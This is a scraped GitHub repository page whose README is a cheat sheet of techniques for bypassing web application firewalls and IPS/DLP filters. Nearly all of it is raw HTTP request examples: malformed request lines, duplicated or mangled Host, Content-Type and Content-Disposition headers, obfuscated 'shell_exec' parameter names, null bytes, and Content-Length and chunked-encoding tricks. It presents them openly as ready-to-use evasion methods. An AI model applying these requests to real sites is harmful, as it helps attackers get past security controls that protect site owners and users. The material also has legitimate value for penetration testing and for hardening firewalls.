https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
Another way to bypass WAF Cheat Sheet (draft)
https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
Last synced: 4 months ago
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Another way to bypass WAF Cheat Sheet (draft)
- Host: GitHub
- URL: https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
- Owner: Bo0oM
- Created: 2018-11-28T19:34:02.000Z (almost 7 years ago)
- Default Branch: master
- Last Pushed: 2018-11-28T20:34:17.000Z (almost 7 years ago)
- Last Synced: 2025-06-24T15:07:54.027Z (5 months ago)
- Homepage:
- Size: 2.93 KB
- Stars: 426
- Watchers: 19
- Forks: 65
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - Bo0oM/WAF-bypass-Cheat-Sheet - Another way to bypass WAF Cheat Sheet (draft) (Others)
README
# WAF/IPS/DLP bypass Cheat Sheet
Another way to bypass
**Add \r\n before the first line HTTP request**
```
GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Writing the method with a lowercase (Apache)**
```
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Tabs before the method (IIS)**
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**GET /login?shell_exec HTTP/1.1**
```
GET /login?shell.exec HTTP/1.1
GET /login?shell[exec HTTP/1.1
GET /login?shell%5bexec HTTP/1.1
GET /login?shell%2eexec HTTP/1.1
GET /login?shell%5fexec HTTP/1.1
GET /login?shell%20exec HTTP/1.1
```
**GET /login.php?pam_param=test3**
```
GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3
```
**GET /login.php?hello=world HTTP/1.1**
```
GET /login.php?hello%00another_text=world HTTP/1.1
```
**HTTP Request - absoluteURI**
```
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Double host header**
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Host with lowercase**
```
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Host without space**
```
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Host with tab**
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Host with addition symbols**
/
:
\x00
\x20
\x09
\xad (IIS)
Example:
```
GET /login.php HTTP/1.1
Host: favoritewaf.com:12345
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
```
GET /login.php HTTP/1.1
Host: favoritewaf.com ignored.text
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
**Content-Type with another text**
```
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
```
**HTTP request with incorrect Content-Length (more data than specified)**
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Length: 1
AAAAAAAA
```
**Double Content-Type**
```
Content-Type: multipart/form-data; boundary=ZZZ
Content-Type: multipart/form-data; boundary=AAA
```
**Content-Disposition mutation**
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630
----------1218108630
Content-Disposition: form-data; name="hello"
world
----------1218108630--
```
```
Content-Disposition: form-data; name="hello"
Content-Disposition: form-data; name="hello
Content-Disposition: form-data; name="hello"world"
Content-Disposition: attachment; name="hello"
```
```
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
```
**Boundary mutation**
**PHP**
```
Content-Type: multipart/form-data; myfavoriteboundaryis=X; boundary=Hello;
==
Content-Type: multipart/form-data; boundary=X;
```
**Nullbyte**
```
Content-Type: multipart/form-data; boundary=HELLO\x00XXXXXXXXX
==
Content-Type: multipart/form-data; boundary=HELLO
```
**Ignored Content-Length**
```
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
hello=world
```
==
```
Content-Length: 22
Transfer-Encoding: chunked
0B
hello=world
0
```
==
```
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
```